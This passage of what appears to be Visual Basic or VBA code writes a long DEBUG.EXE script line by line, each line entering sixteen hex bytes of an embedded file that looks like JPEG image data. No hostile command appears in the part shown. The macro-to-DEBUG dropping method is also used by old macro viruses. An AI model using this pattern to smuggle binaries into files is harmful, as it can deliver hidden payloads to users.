4E 99 70 1C F9 96 05 92 69 F0" Print #1, "e 3050 BB 59 99 E2 3E 85 F3 8B 2D 0C 1C DF B8 B3 3B 01" Print #1, "e 3060 F7 C7 32 BC B7 74 77 0E 7E 22 E6 12 09 7C F4 14" Print #1, "e 3070 64 F4 53 81 6E 0E CA FC 41 5A B8 8D 96 E3 B1 CD" Print #1, "e 3080 F5 C9 EE 87 E6 60 46 31 9F A6 62 F1 33 5E 74 74" Print #1, "e 3090 80 C0 9C C7 C7 7E F7 12 52 F2 4B 8C 0A 0D 68 0F" Print #1, "e 30A0 A9 D2 55 6C 19 50 29 24 6A B3 9D C0 B6 C1 99 B2" Print #1, "e 30B0 CD 5F 92 10 AE 32 E9 07 AC 10 CA B7 B5 4E D7 97" Print #1, "e 30C0 F0 4D 55 89 CC 47 99 19 A6 56 D4 F2 0E 48 96 92" Print #1, "e 30D0 AE 0B 82 51 0B 19 B9 68 07 93 A2 65 BC 89 47 EF" Print #1, "e 30E0 31 EC FA 7E 48 0B 7B 38 C2 D5 5D 39 B3 AE 51 7A" Print #1, "e 30F0 7E 65 6E 16 C5 1B F4 C4 9A F0 A3 67 A2 ED 4A E6" Print #1, "e 3100 35 81 0B F1 2A 58 43 B0 49 E6 90 AC 44 67 89 BE" Print #1, "e 3110 66 AF EF 0C BE 69 7D D9 C2 3E 53 AD E3 66 88 D1" Print #1, "e 3120 E8 66 2E 68 D3 07 3A FD 22 14 A6 8F D1 E5 2A B0" Print #1, "e 3130 5B C2 D7 DF 99 46 5F E2 8C 95 F9 B4 C0 0A 72 B3" Print #1, "e 3140 C3 2C 58 C5 56 34 F6 4A 65 DC 02 94 13 25 35 71" Print #1, "e 3150 59 7F 42 33 66 48 5E B6 4C AB FF 00 9C 2B FF 00" Print #1, "e 3160 C9 0C 05 49 42 D3 A7 07 98 E6 75 44 0E 87 51 9C" Print #1, "e 3170 23 70 1C EE 14 B7 13 EE 07 72 F1 0C 9A 4B C5 6A" Print #1, "e 3180 22 9B A4 A5 43 7D 7E 90 E2 FA 36 26 6E 87 83 FF" Print #1, "e 3190 00 63 69 AA E5 61 6C 10 E3 28 50 2F 3E F3 C9 98" Print #1, "e 31A0 EE 0D 26 63 12 ED 17 8A 66 EE 88 F0 05 F7 06 C2" Print #1, "e 31B0 6C 09 D8 FE 6A 16 95 3C 31 0C CC B4 7C 8A 1B 63" Print #1, "e 31C0 A3 82 01 F1 2C 72 B7 36 83 CE 60 05 73 D1 28 55" Print #1, "e 31D0 F4 07 10 C0 05 66 A0 9B 8A F0 44 D4 B8 EB 3C 83" Print #1, "e 31E0 BE A1 E6 31 98 5A 9B 9F FC 3F E1 B1 34 90 56 CC" Print #1, "e 31F0 9B 98 E5 27 24 A9 B0 9B 27 E3 04 DA 45 B9 5C 7D" Print #1, "e 3200 C6 BD CE 72 FE 59 9C 17 D5 B2 BA 8D F5 71 B1 E6" Print #1, "e 3210 52 B7 71 20 8C 67 6A 94 E6 34 63 6C D8 FE 20 E8" Print #1, "e 3220 07 3F D3 E0 DF B3 37 1C 52 B4 8D 12 9C 6C 7F 62" Print #1, "e 3230 F3 72 DD D3 5D 2B 3C 1F BC D4 00 D0 10 7E E1 E9" Print #1, "e 3240 D0 3D 1D 81 9F 51 B9 47 4C 0F 28 AD 91 A8 86 6D" Print #1, "e 3250 C8 00 E4 4F 17 10 25 C7 77 D8 F7 50 EC 00 CF 98" Print #1, "e 3260 E0 FA 94 2C 86 48 4B 49 A5 86 62 98 86 E2 51 BE" Print #1, "e 3270 77 F4 6A D3 E8 2E 0C 55 7F B6 68 27 E4 62 1F 88" Print #1, "e 3280 6F 70 5C B0 2B 4C 58 1D 6B D0 47 32 99 37 5D DC" Print #1, "e 3290 4B 58 C4 02 FB 63 6E 2A 5F A0 E5 DB A8 67 68 B4" Print #1, "e 32A0 F5 9E 4E 52 86 68 AA D6 7C 92 9F 1A E2 1F C0 CD" Print #1, "e 32B0 FA FB 2C F9 DC 3D 51 FE DC C0 05 FC 92 C5 F0 23" Print #1, "e 32C0 B5 00 73 2C 7E A9 FF 00 68 96 54 E6 C2 E6 6C 51" Print #1, "e 32D0 7F 84 1F AC 66 3E 35 31 5D 21 1B FA 26 1B 8B 89" Print #1, "e 32E0 46 6D 1F 32 A6 C9 34 D2 8F 68 E2 E9 09 69 18 18" Print #1, "e 32F0 46 27 98 60 E7 FD C8 D5 0D BE D2 AC 9C 49 B7 1B" Print #1, "e 3300 3F B1 2E 37 61 E0 38 73 45 9A F7 F1 1A 9F 13 83" Print #1, "e 3310 F7 B9 9B 98 F0 B7 E2 68 6C 2F 0C A9 8A F9 85 79" Print #1, "e 3320 99 70 1E 37 12 E7 42 B9 6B 4F 4E E7 D2 69 CD 05" Print #1, "e 3330 CA F0 78 97 84 A5 76 C5 C5 2D 7E F8 7F 1A 67 C8" Print #1, "e 3340 BA 86 07 CC B0 EF 2C 72 3D E0 21 E1 D7 32 82 FA" Print #1, "e 3350 D9 8D 0A AE 65 6D 5C C1 EF A7 BB 32 E3 1E 65 FD" Print #1, "e 3360 91 C5 8F 75 5F 3D FC FA 38 86 25 A3 6C 3E A3 2D" Print #1, "e 3370 DF E9 51 E8 98 C7 19 49 CC C7 2B E6 1C D9 D3 66" Print #1, "e 3380 E5 54 48 47 FF 00 13 C4 2A AF 60 06 54 17 5E 70" Print #1, "e 3390 C4 0B EE 7C CC 51 CE 70 FF 00 64 6E 95 C4 13 B5" Print #1, "e 33A0 49 4D 3F A6 E5 C0 BE 22 4E A1 E8 C4 36 7A E9 59" Print #1, "e 33B0 87 0A 7A 94 B0 7A 1B CB 37 00 03 9C 27 30 6E AF" Print #1, "e 33C0 88 D5 CC 82 97 C0 6E 57 E1 38 7C 8B 1C 0E 69 9F" Print #1, "e 33D0 D1 EE 3F 97 52 A2 51 F1 42 A5 B3 97 43 DA 75 A2" Print #1, "e 33E0 50 BB 54 63 A0 3C 4B 5F 07 BA D1 2A 96 81 0E BB" Print #1, "e 33F0 9E F3 6A 3D 2E 75 28 1C 21 C0 22 51 4C 76 BE 57" Print #1, "e 3400 DC E3 E4 47 F8 0E 61 5E 10 FD E9 97 F7 F7 7C 4D" Print #1, "e 3410 DA 0B 65 F1 3A 0E 07 9F 01 FC C6 14 8B 57 31 C4" Print #1, "e 3420 BD 57 A1 18 34 E2 68 E1 D8 99 31 6B 87 EB B4 28" Print #1, "e 3430 E8 E6 0A BA 39 3B 92 C0 FB 4B 3E D2 98 3C C7 F7" Print #1, "e 3440 E3 FB E3 C2 03 5E 51 11 75 72 27 FD 44 B6 1F 08" Print #1, "e 3450 B8 A1 D4 88 10 F4 65 7F C1 5E E0 E8 0C 50 15 D7" Print #1, "e 3460 27 F0 4C 71 E8 A1 DA 67 E9 F0 CF 12 76 CA 6C CA" Print #1, "e 3470 F5 71 15 AF A1 E8 C0 B4 1B 94 C3 22 8A FE 13 43" Print #1, "e 3480 97 54 FA B6 E6 18 95 BF 03 1E 41 6B 2C FD E6 53" Print #1, "e 3490 27 54 C4 B2 44 1F EC 32 FD 57 AC 8B 14 79 80 0A" Print #1, "e 34A0 A8 4A 02 F4 A6 7E 58 9B C1 DD 41 ED 29 46 86 AB" Print #1, "e 34B0 F3 5A 62 38 3F 2A 16 18 FE FE E2 3E 84 B9 36 BF" Print #1, "e 34C0 A9 62 D3 DA BF 72 8B 45 2C 15 7C 9C CB 02 5A 3D" Print #1, "e 34D0 06 CA 63 88 7A B2 EA 62 34 94 AC 5F 06 A2 B8 5F" Print #1, "e 34E0 01 AF D0 6D C5 B7 88 17 0A 60 62 DF 31 FC 45 F6" Print #1, "e 34F0 71 E9 42 9B 78 89 56 B6 BC CF 06 31 CC A8 5B 8C" Print #1, "e 3500 68 21 C1 57 CC 77 01 F6 FD 12 2B AF 5E 3F C2 39" Print #1, "e 3510 8E 38 D7 E8 A4 0C 70 85 D7 A5 E9 C1 87 6C AD EB" Print #1, "e 3520 5E 94 D2 98 D5 CB E8 CD 0C 5A CD 0A 72 E6 73 12" Print #1, "e 3530 DC AC 3E D1 98 C6 40 AF E2 56 8E E7 99 00 DE 8A" Print #1, "e 3540 55 56 F1 2D 17 71 F6 06 61 A1 E5 15 11 C0 8D 7F" Print #1, "e 3550 53 01 14 0A 57 93 3B 75 16 BC 28 75 FC E3 25 63" Print #1, "e 3560 8B B7 EC BF 1F 1E 65 26 80 C6 9F 37 B6 09 D4 1F" Print #1, "e 3570 68 85 47 EC A8 70 E9 C8 8F DD B9 61 C4 F7 E4 7F" Print #1, "e 3580 78 05 F0 A1 FC 3F A1 0E 20 CC 28 BE 3D 13 FE BF" Print #1, "e 3590 43 59 06 33 9D FA 2E 91 70 4A 4C CF B0 E2 22 0E" Print #1, "e 35A0 C8 25 3F CB 3D B1 09 58 1E 7E A2 C5 F8 8A DF D1" Print #1, "e 35B0 92 46 56 1E 0B BF 1A 9F 43 35 25 A3 89 92 E9 FE" Print #1, "e 35C0 5A F2 D4 28 FA 17 BF 1C AB E8 EF 15 D4 61 0A BA" Print #1, "e 35D0 66 EC 7A F4 3F 02 E1 BD BD C5 4C 02 09 46 FF 00" Print #1, "e 35E0 31 CD 2B 97 8E 66 5F 31 81 76 94 DC C8 6C A7 D4" Print #1, "e 35F0 56 33 A3 6C 26 6A F5 02 08 40 A7 FE D2 E4 17 7A" Print #1, "e 3600 13 8A 47 7F 62 5F 17 14 39 6F CD C7 66 07 15 BB" Print #1, "e 3610 FC C6 02 69 AC B0 2B E6 EA 2B 0C 7B 96 B7 D4 88" Print #1, "e 3620 3E 45 53 2A B3 1D 69 10 A6 F7 78 50 ED ED 5F 7F" Print #1, "e 3630 A4 9C 6B 14 B0 D9 11 37 18 61 A2 87 E8 50 BD 4C" Print #1, "e 3640 26 86 D8 30 72 F1 51 4D A7 48 8F 19 88 D0 71 FA" Print #1, "e 3650 5D 6A DF 30 12 C7 DA 34 D3 C9 12 C3 C1 39 26 ED" Print #1, "e 3660 EF FC CA 7B 40 D4 D3 36 85 9D 92 FB 43 CC 94 03" Print #1, "e 3670 72 E5 3E 83 5A F5 67 91 61 58 D5 51 6B 1B 9A 3D" Print #1, "e 3680 00 56 88 C0 EB 90 E7 C2 66 34 33 91 59 F6 C3 85" Print #1, "e 3690 66 E4 C3 6C 1D 09 53 83 F1 34 00 D3 0F E9 2E 90" Print #1, "e 36A0 4E 70 77 A0 99 DE D8 35 F2 B0 AC F6 CE B0 F3 2F" Print #1, "e 36B0 6E FC A7 33 28 A6 5A FD 83 29 49 84 6B F3 1C 5B" Print #1, "e 36C0 7A 86 FF 00 92 C4 05 DD CA F4 A2 BC CE 13 3C BA" Print #1, "e 36D0 9E 4D 8B 14 72 10 69 1B 3D 08 C7 2D DB FA 68 03" Print #1, "e 36E0 1C B3 31 2E 2A 51 BD 19 98 C4 B3 C7 E9 5F 2D 85" Print #1, "e 36F0 6E 34 AF AF 31 09 57 C4 F3 2C 6C B0 7A 01 79 B8" Print #1, "e 3700 BD 13 DC 8D 6B 54 82 2A 08 F9 FF 00 13 BD 5C B5" Print #1, "e 3710 6C 58 2D 3E E6 98 7E 5F D9 50 B3 3E CC CF CC E8" Print #1, "e 3720 A0 5F 3F A5 1C 41 8B 79 41 9B DF 27 33 34 7A 59" Print #1, "e 3730 4E 37 B9 43 B6 AC A9 3D A1 10 0D 05 5F 71 EA AB" Print #1, "e 3740 A7 31 05 EB 28 D1 EF C4 6C 87 83 2B CB B6 54 5C" Print #1, "e 3750 00 4D E1 97 1F 79 C9 D7 05 89 F1 23 4A 88 3A 43" Print #1, "e 3760 79 EF 05 31 C3 9E AA 6B 09 19 72 9C 8C C2 F8 E7" Print #1, "e 3770 11 05 05 27 71 B2 C3 79 AA 2E 52 F3 9A FD E3 B7" Print #1, "e 3780 A3 1B 27 48 71 4F DD 5F AA 2A 08 F9 95 E8 B0 8E" Print #1, "e 3790 47 03 66 39 6A 2B 8D 96 21 70 B0 AF 2F E9 F7 B7" Print #1, "e 37A0 2E 0D C7 EA 23 C9 EF 16 9F D8 FF 00 51 F2 1F 06" Print #1, "e 37B0 51 08 87 D1 1C 91 D7 2E A0 C8 AB 49 9A ED FE 3B" Print #1, "e 37C0 49 7E E2 DF D4 B7 1B E7 C1 69 F1 68 E0 88 80 AD" Print #1, "e 37D0 3A F3 DB 37 21 37 39 E8 39 87 F9 4E D8 F5 68 84" Print #1, "e 37E0 EA B6 D0 2D 80 00 4C E9 A5 C4 26 2B 47 7C 62 05" Print #1, "e 37F0 71 9A C0 E7 9E D1 6A E5 08 2E 60 8A 4B 0D 3F B8" Print #1, "e 3800 13 38 44 A5 85 EE E6 FC 0C 9D F9 96 6A 72 8E 25" Print #1, "e 3810 D6 96 0E 63 F6 ED 6D 2B FF 00 57 CC 21 8A 86 84" Print #1, "e 3820 8D 00 6E 3C 7D E3 B7 F5 50 15 14 5E C8 7F C0 80" Print #1, "e 3830 9F 3C B1 5F 89 AF 60 E0 31 19 C6 22 56 9F AC 16" Print #1, "e 3840 CA 70 87 63 E6 FE C8 F6 1F 2F EC 26 9C BB C3 F7" Print #1, "e 3850 8F 58 7D EB FB 94 2B 34 1E E1 0D 89 7A 5F C4 A1" Print #1, "e 3860 9B 86 3C AE B8 86 39 2F 88 6C 35 E4 99 32 F8 42" Print #1, "e 3870 DF D8 7E 90 5D 17 2E C0 77 79 AB 7F 38 CD 31 E4" Print #1, "e 3880 96 05 51 E5 BF D2 4B 65 DF 0B 83 3A 47 77 0E A8" Print #1, "e 3890 79 DD 45 A0 2B F1 72 C5 D0 07 C0 96 0B 8A CC 62" Print #1, "e 38A0 29 C3 F7 44 AB 39 33 14 43 12 C1 87 1A 97 A5 E9" Print #1, "e 38B0 66 26 D8 6E 6C BC FF 00 11 8E 6C 03 1C 15 12 6F" Print #1, "e 38C0 CE 59 10 A4 54 5A 14 22 6A 0E 54 AB 04 F5 BF E6" Print #1, "e 38D0 77 18 40 68 67 13 10 73 AD F3 58 F4 00 10 34 D1" Print #1, "e 38E0 40 ED BF A9 B3 F4 11 03 82 20 E0 BE 3F B9 72 EF" Print #1, "e 38F0 0F 0F B3 FE 45 35 1F B2 56 C2 DB 4B 65 8A 1F A8" Print #1, "e 3900 82 62 F6 9C 9B 96 E6 C5 CB AB C9 CF 88 4A E4 83" Print #1, "e 3910 66 CF 24 42 AE 79 A3 CB AE BC 3E 20 AA 8D 71 66" Print #1, "e 3920 72 D5 F1 AC 31 24 6C 16 FE 61 2B 3D C8 FE E5 35" Print #1, "e 3930 13 E5 29 29 78 B2 56 D6 FC AE 7C 8B 2A 1A 61 85" Print #1, "e 3940 76 03 DA 02 68 78 63 19 1E 23 9F ED 16 5B 69 F6" Print #1, "e 3950 98 A6 87 B9 29 FF 00 A7 F3 E8 C1 ED C2 73 1C 58" Print #1, "e 3960 8E DD FF 00 C4 03 67 FC 12 C7 E3 7B 4F EC 0B 2F" Print #1, "e 3970 6B DA 71 E4 96 94 1D 3A 83 D8 74 3F F7 71 8C C8" Print #1, "e 3980 5C 58 B9 4D 72 2C 88 18 B3 6D AE 25 46 79 98 A7" Print #1, "e 3990 BA 7E FB F8 85 8E 03 2E FC 43 88 DA DA 81 88 28" Print #1, "e 39A0 5A 41 A8 FD 85 64 F9 80 4B B0 05 B3 58 EB 27 1A" Print #1, "e 39B0 EF 98 29 98 3E 03 FE E0 81 6E E7 12 DC 52 5E 2C" Print #1, "e 39C0 5E BD A6 BB EE 3B 7D 6A E5 8D 8F B4 62 EA 8C D0" Print #1, "e 39D0 73 64 22 96 AF E4 81 11 FF 00 D2 AD C4 46 92 9F" Print #1, "e 39E0 F0 D8 C0 BC D3 04 27 02 28 60 0A AC CC 38 52 CE" Print #1, "e 39F0 4A E0 EA 6D 34 B6 71 9D 44 B5 90 66 95 71 8E E1" Print #1, "e 3A00 EF 71 D1 32 A3 E8 82 2A 72 8E 65 50 FC 72 D8 15" Print #1, "e 3A10 EB 53 F7 36 A9 60 87 24 DD B4 4D 0C F7 71 32 2E" Print #1, "e 3A20 3A 4A 8F F1 E6 5D 90 72 27 89 1F 43 1C 5C 77 B3" Print #1, "e 3A30 B6 7E 01 64 B8 56 96 E5 11 B5 94 F1 49 D2 D1 00" Print #1, "e 3A40 D4 6C FC 4A AB 5C 0C 89 84 13 4E 8F B9 7E 30 41" Print #1, "e 3A50 79 25 D0 15 B1 23 CD A7 A1 1F BC FC D1 87 EE 52" Print #1, "e 3A60 F5 1D 0C C0 7A DE A6 14 DC C7 0F CA 4C 25 B4 C5" Print #1, "e 3A70 7E E1 B8 CB 0B E9 2B 29 07 43 A8 F1 C3 CC DF E1" Print #1, "e 3A80 D4 78 E1 78 B9 7F 91 5B 0F E9 BB 9F 82 48 39 D9" Print #1, "e 3A90 61 B8 BD AB 71 27 32 89 52 B1 8B 28 60 D9 11 78" Print #1, "e 3AA0 94 47 4F 12 AD 24 70 08 76 29 FB 8B CF 98 B7 EA" Print #1, "e 3AB0 CA 55 6A B9 5C 1D 9D 3E A1 10 43 C4 CD 38 8E 98" Print #1, "e 3AC0 7A C7 28 56 5A 38 9A C1 E0 20 58 53 62 BE 66 29" Print #1, "e 3AD0 50 E4 5B 9B 5B 1E 60 C4 E6 51 22 53 AF 12 AA 46" Print #1, "e 3AE0 F0 5E 20 AA 3D C5 86 98 A7 C4 B6 ED B8 22 CC AC" Print #1, "e 3AF0 10 F2 DC 58 81 7C A1 5F EE 10 8F 65 BC C4 19 52" Print #1, "e 3B00 0B 40 F9 46 F8 8A DA 3D B3 FF DA 00 0C 03 01 00" Print #1, "e 3B10 02 00 03 00 00 00 10 18 2D C0 C9 3B 7D D7 49 76" Print #1, "e 3B20 A0 3F B5 C5 56 07 0C 3E 7D 08 08 86 67 9C EB B1" Print #1, "e 3B30 51 C1 CE B3 9C 87 EC C6 DE A8 68 C1 EA 6E 19 7B" Print #1, "e 3B40 38 57 88 1C 85 71 A2 BD FD DF B0 0D 4F BC 2F 0B" Print #1, "e 3B50 13 D0 99 B9 42 AC 0F D1 EF 8F 06 86 54 F1 6A FA" Print #1, "e 3B60 8C 9E 8F F9 3C 84 EF BD 8D 52 A7 7D 04 A6 2D 7C" Print #1, "e 3B70 46 ED D5 5D C0 B0 44 FC F0 B0 B0 EE B3 89 A3 2C" Print #1, "e 3B80 96 A2 3D 8C 87 C9 BF 52 C0 D1 A5 53 0F E1 99 C8" Print #1, "e 3B90 A9 2E 75 83 08 32 EF 80 EE 6E CA 8E 85 4D E7 2D" Print #1, "e 3BA0 DD 6E 18 BB 21 78 49 3B BF 69 FF 00 0A 6B 6C 5A" Print #1, "e 3BB0 89 9B 6B 92 AA C0 AE FD 87 70 E7 CB 76 88 0C 82" Print #1, "e 3BC0 B5 EE C3 E9 60 F6 01 0F 49 3C 05 E9 19 A2 06 D6" Print #1, "e 3BD0 FE 28 F0 4C C3 A7 B1 B5 0F D9 80 70 B9 E9 91 92" Print #1, "e 3BE0 81 90 45 27 83 40 54 F8 2F 39 92 A0 28 A9 23 0F" Print #1, "e 3BF0 95 A5 CC CF AD FC 75 F0 FF 00 DD 3F 50 A9 07 27" Print #1, "e 3C00 FB D3 14 A9 2F BC F3 E7 5D 14 ED 3C AA 28 8F 34" Print #1, "e 3C10 90 74 60 5D 60 B8 98 26 ED 28 95 95 74 DC 49 34" Print #1, "e 3C20 38 46 C3 EB DF 0D 3D 41 33 AF 1A 1D DD 7F E4 D4" Print #1, "e 3C30 FE DA 88 B7 4B 4F 7F 2E A9 90 4E 8D B0 3E 25 79" Print #1, "e 3C40 B9 B1 18 03 1E 73 B6 0F DD 93 92 10 76 95 B2 20" Print #1, "e 3C50 C7 6C 59 2B 12 EF 8F 49 F0 B2 27 06 B3 FF C4 00" Print #1, "e 3C60 26 11 01 01 01 00 03 00 02 02 01 03 05 00 00 00" Print #1, "e 3C70 00 00 01 00 11 10 21 31 41 51 20 61 71 81 91 A1" Print #1, "e 3C80 B1 C1 E1 F0 F1 FF DA 00 08 01 03 01 01 3F 10 1B" Print #1, "e 3C90 4B 6E 74 CF A3 29 F1 94 18 31 0F BD D5 B9 DD BE" Print #1, "e 3CA0 FA 49 DB 6C F7 F8 D4 66 C5 8B 36 0B 16 39 AC D8" Print #1, "e 3CB0 B0 CA 58 81 65 81 C7 CF 1B 24 06 43 58 0F 98 FA" Print #1, "e 3CC0 5F 05 D8 EE 6E CF 03 E0 B3 65 7B D9 63 78 44 3F" Print #1, "e 3CD0 96 FD D3 F7 48 71 2D BE 4B 7F 56 A0 96 F6 13 E4" Print #1, "e 3CE0 FD 52 8F 78 DC 96 F7 C3 31 86 4E 20 07 D8 8E A0" Print #1, "e 3CF0 96 07 49 68 30 1E B1 4D 08 8A 67 5C 0D 64 47 5C" Print #1, "e 3D00 92 93 3A D4 31 98 FC 74 2E 92 07 BB 30 E5 97 56" Print #1, "e 3D10 2F 65 F5 71 B5 63 78 E1 A7 70 2D 5B 1D 48 66 B1" Print #1, "e 3D20 81 F3 BF F7 F9 BB E1 C8 6B 16 68 7E D6 83 0D 71" Print #1, "e 3D30 72 DD 3B 6F A2 6C 6F 91 8D 9F B6 F1 98 0F 63 6F" Print #1, "e 3D40 6C E7 53 2E BC BA 39 6F E5 DA 2F 88 9B E8 9F 32" Print #1, "e 3D50 5F CB C3 EA C0 0B 62 39 FE AE 33 74 9A F9 E5 A8" Print #1, "e 3D60 75 76 F5 A2 F8 1C 7F 58 57 A8 F6 8A F5 2D CF E2" Print #1, "e 3D70 3D C8 F2 3A 62 CF 4F 77 AD 79 97 FB 16 01 4D 36" Print #1, "e 3D80 2D D8 17 7D 9E E2 20 DB C6 06 58 1A EC E2 1B 35" Print #1, "e 3D90 B2 75 6F 5D FE 67 BC 77 39 CB B3 F5 C2 07 F9 59" Print #1, "e 3DA0 02 78 02 32 47 AB 08 F5 33 ED 96 1F 57 CC 10 CC" Print #1, "e 3DB0 09 3D 6C AF D6 00 9F 9D 8F C6 EC D2 68 AC D5 47" Print #1, "e 3DC0 EF 3F 36 37 E2 CB C5 0A F6 F1 27 76 ED CB 7D 86" Print #1, "e 3DD0 D7 A7 DB D8 DE 0C FF 00 3F F1 18 B7 AC 2C 37 08" Print #1, "e 3DE0 E0 13 06 7B 61 98 32 63 EA 4A E5 A3 AD CD F8 B0" Print #1, "e 3DF0 EC 9C 63 08 F5 CC 26 DB F1 08 87 98 C9 36 13 C9" Print #1, "e 3E00 F4 65 3D 9F AC 04 76 DE 3A E3 21 87 69 6B EE ED" Print #1, "e 3E10 EB 00 4E 22 36 F0 E2 75 6B C6 2C 1E 5B 91 DF C4" Print #1, "e 3E20 E1 DF 80 7F 6F FD 90 9D 49 AF 4E 36 9F 4B B7 BF" Print #1, "e 3E30 83 6E 7B 7B C6 7D 70 0D 32 F8 BE 6B 3E D8 E3 38" Print #1, "e 3E40 DE 30 75 6E 1B AC B6 DA F7 78 D4 61 93 D4 22 7A" Print #1, "e 3E50 61 3D FB 77 E3 C9 5E 7C 4E FD 2D 9E 77 60 DE 06" Print #1, "e 3E60 4C 83 5C 38 CF AB 6E 82 4B DC 3F 5C 3E 4C 5B F9" Print #1, "e 3E70 96 F7 F9 32 D2 53 CF B1 D7 7E CB 26 FC F3 D8 5A" Print #1, "e 3E80 F6 DE 49 49 42 56 E1 6C 7E 48 D7 CB BF 9B 27 6E" Print #1, "e 3E90 1E FD 5E 32 39 50 F6 EE EA 08 F3 FC A8 5E A5 E1" Print #1, "e 3EA0 C6 7E 42 3A 6C DA 37 91 81 A1 F5 8C EF D9 0B 3B" Print #1, "e 3EB0 B0 CD 95 1B F3 78 61 1A EE 72 58 E1 CE 47 D5 E9" Print #1, "e 3EC0 D5 8F 5E EC 0F C3 B9 60 85 EA B1 23 36 D9 7E EC" Print #1, "e 3ED0 46 78 87 F8 87 F2 DF B6 FD 5B F6 92 1F 1C 67 CC" Print #1, "e 3EE0 0B B5 D9 8E 2C 17 4B D5 D8 6A D1 3B 99 88 F8 4E" Print #1, "e 3EF0 3A E5 07 B6 06 33 B3 F7 79 59 65 9B 75 EC EA E9" Print #1, "e 3F00 EF 70 EF 3E 44 47 20 DB B8 38 77 9C C2 60 7A B4" Print #1, "e 3F10 31 62 33 8F 55 32 36 E4 42 FF 00 FF C4 00 23 11" Print #1, "e 3F20 01 01 01 00 02 02 02 02 02 03 00 00 00 00 00 00" Print #1, "e 3F30 01 00 11 21 31 10 41 51 61 20 71 91 A1 C1 D1 F0" Print #1, "e 3F40 FF DA 00 08 01 02 01 01 3F 10 FA 21 6F 30 ED E9" Print #1, "e 3F50 05 02 DD 22 76 B0 B0 B2 1B F1 40 2B 76 ED 5A B7" Print #1, "e 3F60 6F CD 7D 57 D1 7D 11 1A 84 CF DE 52 4C 82 16 06" Print #1, "e 3F70 D8 AE B3 93 BE A6 C0 E6 C9 D5 D1 D8 71 CF 1D 3C" Print #1, "e 3F80 F6 12 7D 5A F8 81 EE 1A D2 03 69 62 C5 8B 4F 3B" Print #1, "e 3F90 24 EE C4 17 AB 60 4E 62 01 19 2B 98 63 76 7F D2" Print #1, "e 3FA0 34 75 35 92 D8 B0 10 CC 9D F5 73 6C 9D B9 B7 0D" Print #1, "e 3FB0 B4 A1 9E 0F A4 83 8C F4 BA 4D 93 3E 4C 7B 32 5B" Print #1, "e 3FC0 DD A4 8B D3 23 C5 B0 0D 2E E7 83 0E 65 9C 17 27" Print #1, "e 3FD0 36 BB A1 96 9D B2 6A 6B 65 C8 1A 17 DA 07 8A 7D" Print #1, "e 3FE0 C8 CE 24 52 FA A4 FD 43 E1 71 75 2C EC B0 43 8B" Print #1, "e 3FF0 3C 3E 32 0F 02 57 6D D5 40 5C 3D 58 34 59 B5 6B" Print #1, "e 4000 CB C7 1E 5B 10 1B CC E8 E1 E6 3E 32 83 98 DF 08" Print #1, "e 4010 78 0D F6 B2 CF 72 33 7A 89 0E EC 60 B4 1F A9 01" Print #1, "e 4020 74 F3 89 A7 0E BC A4 96 78 3E EC F8 75 24 47 96" Print #1, "e 4030 33 82 79 04 99 87 13 8E 31 09 C1 91 73 74 B4 36" Print #1, "e 4040 7A 5D A5 87 82 0D B8 78 DC F3 D7 0F 53 3C 97 16" Print #1, "e 4050 31 1F 24 83 0B BB 2C DB 2F A9 8C 6C D9 83 3C 67" Print #1, "e 4060 C9 2B D2 02 6E CB A5 CB B3 38 CA 3B 7E D7 56 5D" Print #1, "e 4070 0B 47 2F 10 24 78 ED DC E0 64 4F C9 0E F3 2E B8" Print #1, "e 4080 9C 47 10 D9 2F AC 63 C7 34 D9 07 A8 F7 8F 50 EF" Print #1, "e 4090 84 67 E3 83 2D 70 6C 3E 21 CE 8B 96 E4 12 3E 3C" Print #1, "e 40A0 1A 70 DF 2F 1A C8 0F A8 3E 0E BF F7 F5 70 6D E2" Print #1, "e 40B0 D8 C3 76 DD B5 F7 6D 87 0F 56 39 A9 16 3E 0A 5A" Print #1, "e 40C0 CD C8 ED 36 DC 96 F4 4F E0 0F 00 F7 62 4F 76 24" Print #1, "e 40D0 6F 11 61 21 78 B2 43 21 BB 7A 91 C1 DC 23 07 37" Print #1, "e 40E0 CA CC B2 18 F8 1D 93 2D 90 E4 80 25 6E 41 30 40" Print #1, "e 40F0 3C 0E FC 3F 53 C7 E4 9A 5C C5 D3 8B 11 9E BC 6B" Print #1, "e 4100 3D 1C 1A 0C B6 62 72 C9 B9 B6 09 DA C6 03 39 FF" Print #1, "e 4110 00 71 CD 4D 84 D5 90 0D 1B 80 C4 80 D7 A8 26 08" Print #1, "e 4120 C3 A7 33 E3 19 9C 82 75 EE 76 3D F9 0D BA 92 20" Print #1, "e 4130 27 F1 F5 1C 95 D9 43 19 E4 63 B7 C3 DC 33 E5 B1" Print #1, "e 4140 37 9D 8E 85 EE 30 7C 3F CB 00 45 D7 4C 2A B0 81" Print #1, "e 4150 81 FD DA 83 C4 69 38 8F 04 6C 1B CD 91 80 2E C9" Print #1, "e 4160 97 C8 71 0B D3 2E D2 DC 85 72 C7 3E A1 27 EE 4F" Print #1, "e 4170 A2 E6 EA 3E 67 88 7F 77 DB 77 08 5B 8E 61 7D 09" Print #1, "e 4180 8F AE 5C 82 48 CE BA 93 74 C9 09 39 7F 17 24 13" Print #1, "e 4190 C6 3C 25 40 1B 20 8D 87 16 0D 9E E3 3F 73 BD 79" Print #1, "e 41A0 2E F2 BF 0B 88 87 C0 87 65 0E E7 3D 17 2F 05 CE" Print #1, "e 41B0 5E D0 F3 19 67 93 FF C4 00 28 10 01 00 02 02 01" Print #1, "e 41C0 04 02 03 00 03 01 01 01 00 00 00 01 00 11 21 31" Print #1, "e 41D0 41 51 61 71 81 91 A1 10 B1 C1 20 D1 F0 E1 F1 30" Print #1, "e 41E0 FF DA 00 08 01 01 00 01 3F 10 43 A0 89 DD 32 2D" Print #1, "e 41F0 5C 17 50 87 0D 30 FC 30 A8 C5 E8 E0 89 88 5D 80" Print #1, "e 4200 6A B6 1D A1 32 A0 1B 5B 66 03 9E A5 0E 3B C3 52" Print #1, "e 4210 36 04 1F FD 88 76 BD E9 FB 98 B4 F6 8D A3 E9 74" Print #1, "e 4220 82 AD AA 3B 2B 2A C4 74 2E BF 50 E2 60 38 0F 01" Print #1, "e 4230 8E 60 5C C2 EC 6E E2 B6 37 58 42 24 DC 32 41 39" Print #1, "e 4240 B8 54 3A 56 B1 2D 74 A5 8A 85 EB 35 EB AC B4 17" Print #1, "e 4250 78 84 AC B4 9B 1D 40 BC 39 F3 36 1F 10 2A 83 98" Print #1, "e 4260 14 6E FC 40 D5 A0 95 38 54 59 5D 4A 50 2C CC DD" Print #1, "e 4270 DC 67 3D 40 CE A2 74 A8 BB D4 B3 2A 5C 68 D2 93" Print #1, "e 4280 7C 9A 8D 1F 04 B3 02 4A 6E C0 35 4C B1 